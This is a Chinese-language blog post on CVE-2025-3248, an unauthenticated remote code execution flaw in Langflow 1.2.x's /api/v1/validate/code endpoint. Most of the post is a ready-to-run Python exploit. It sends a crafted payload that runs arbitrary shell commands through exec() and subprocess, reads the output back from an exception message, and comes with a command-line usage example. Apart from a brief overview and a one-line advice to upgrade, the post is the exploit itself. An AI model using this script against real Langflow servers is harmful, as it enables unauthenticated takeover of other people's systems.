Langflow 1.2.x远程代码执行漏洞分析

本文详细分析了Langflow 1.2.x版本中的远程代码执行漏洞CVE-2025-3248,该漏洞源于/api/v1/validate/code端点不当使用exec()函数执行任意Python代码,允许未经身份验证的攻击者执行系统命令。

Langflow 1.2.x远程代码执行漏洞分析

漏洞概述

Langflow 1.2.x版本存在一个严重的安全漏洞(CVE-2025-3248),该漏洞位于/api/v1/validate/code端点,由于不当使用exec()函数评估任意Python代码,导致未经身份验证的远程攻击者能够执行任意系统命令。

技术细节

漏洞位置

  • 受影响端点: /api/v1/validate/code
  • 漏洞类型: 远程代码执行
  • 风险等级: 高
  • 认证要求: 无需认证

影响版本

  • Langflow <= 1.2.x

漏洞原理

攻击者可以通过向 vulnerable 端点发送特制的JSON载荷,其中包含恶意Python代码,利用exec()函数执行任意系统命令。

漏洞利用

利用代码示例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python3
import requests
import argparse
import json
from urllib.parse import urljoin

class LangflowRCE:
    def __init__(self, target_url, timeout=10):
        self.base_url = target_url.rstrip('/')
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers = {
            "User-Agent": "Langflow-RCE-Scanner",
            "Content-Type": "application/json"
        }
        self.timeout = timeout

    def run_payload(self, command):
        endpoint = urljoin(self.base_url, "/api/v1/validate/code")
        payload = {
            "code": (
                f"def run(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"{command}\", shell=True))')): pass"
            )
        }
        
        response = self.session.post(endpoint, data=json.dumps(payload), timeout=self.timeout)
        if response.status_code == 200:
            try:
                json_data = response.json()
                err = json_data.get("function", {}).get("errors", [""])[0]
                if isinstance(err, str) and err.startswith("b'"):
                    output = err[2:-1].encode().decode("unicode_escape").strip()
                    return output or "[!] No output returned."
            except Exception as e:
                return f"[!] Error parsing response: {e}"
        return "[!] Target may not be vulnerable or is patched."

利用方法

1
python3 cve-2025-3248.py http://target:7860 "id"

技术架构分析

攻击流程

  1. 构造包含恶意Python代码的JSON载荷
  2. 向目标服务器的/api/v1/validate/code端点发送POST请求
  3. 利用exec()函数执行系统命令
  4. 通过异常机制获取命令执行结果

关键技术点

  • 使用subprocess.check_output()执行系统命令
  • 通过异常传递机制获取命令输出
  • 利用Python的字符串转义和编码技术

安全建议

建议用户立即升级到修复该漏洞的Langflow版本,或采取适当的网络隔离措施防止未经授权的访问。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计